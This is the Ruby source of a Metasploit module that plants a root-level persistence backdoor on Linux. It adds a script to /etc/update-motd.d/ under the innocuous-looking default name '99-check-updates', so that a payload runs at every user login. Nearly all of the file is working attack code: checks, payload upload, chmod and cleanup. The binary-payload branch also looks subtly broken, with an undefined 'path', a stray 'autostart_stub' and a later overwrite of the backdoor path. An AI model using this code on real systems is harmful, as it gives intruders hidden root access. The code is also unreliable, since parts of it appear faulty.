Files
metasploit-gs/modules/exploits/linux/persistence/motd.rb
T
2025-09-09 14:29:29 -04:00

103 lines
3.5 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/linux/local/motd_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'update-motd.d Persistence',
'Description' => %q{
This module will add a script in /etc/update-motd.d/ in order to persist a payload.
The payload will be executed with root privileges everytime a user logs in.
Root privileges are likely required to write to /etc/update-motd.d/.
Verified on Ubuntu 22.04
},
'License' => MSF_LICENSE,
'Author' => [ 'Julien Voisin' ],
'Platform' => [ 'unix', 'linux' ],
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'Payload' => {
'BadChars' => '#%\n"'
},
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [ ['Automatic', {}] ],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => '1999-01-01',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'References' => [
['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'],
]
)
)
register_options([
OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']),
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
])
end
def check
return CheckCode::Safe('/etc/update-motd.d/ does not exist') unless exists? '/etc/update-motd.d/'
return CheckCode::Safe('/etc/update-motd.d/ is not writable') unless writable? '/etc/update-motd.d/'
print_warning("#{datastore['BACKDOOR_NAME']} already exists") if exists? "/etc/update-motd.d/#{datastore['BACKDOOR_NAME']}"
CheckCode::Appears('/etc/update-motd.d/ is writable')
end
def install_persistence
update_path = '/etc/update-motd.d/'
backdoor_path = "#{update_path}/#{datastore['BACKDOOR_NAME']}"
if exists? backdoor_path
fail_with Failure::BadConfig, "#{backdoor_path} is already present"
end
if payload.arch.first == 'cmd'
write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
else
backdoor_path = writable_dir
backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/"
backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
backdoor_path << backdoor_name
print_status("Uploading payload file to #{backdoor_path}")
upload_and_chmodx backdoor_path, generate_payload_exe
write_file(path, (autostart_stub + ["Exec=\"#{backdoor_path}\""]).join("\n"))
@clean_up_rc << "rm #{backdoor_path}\n"
end
write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
@clean_up_rc << "rm #{backdoor_path}\n"
chmod(backdoor_path, 0o755)
print_status "#{backdoor_path} written"
print_good('Payload will be triggered at user login')
end
end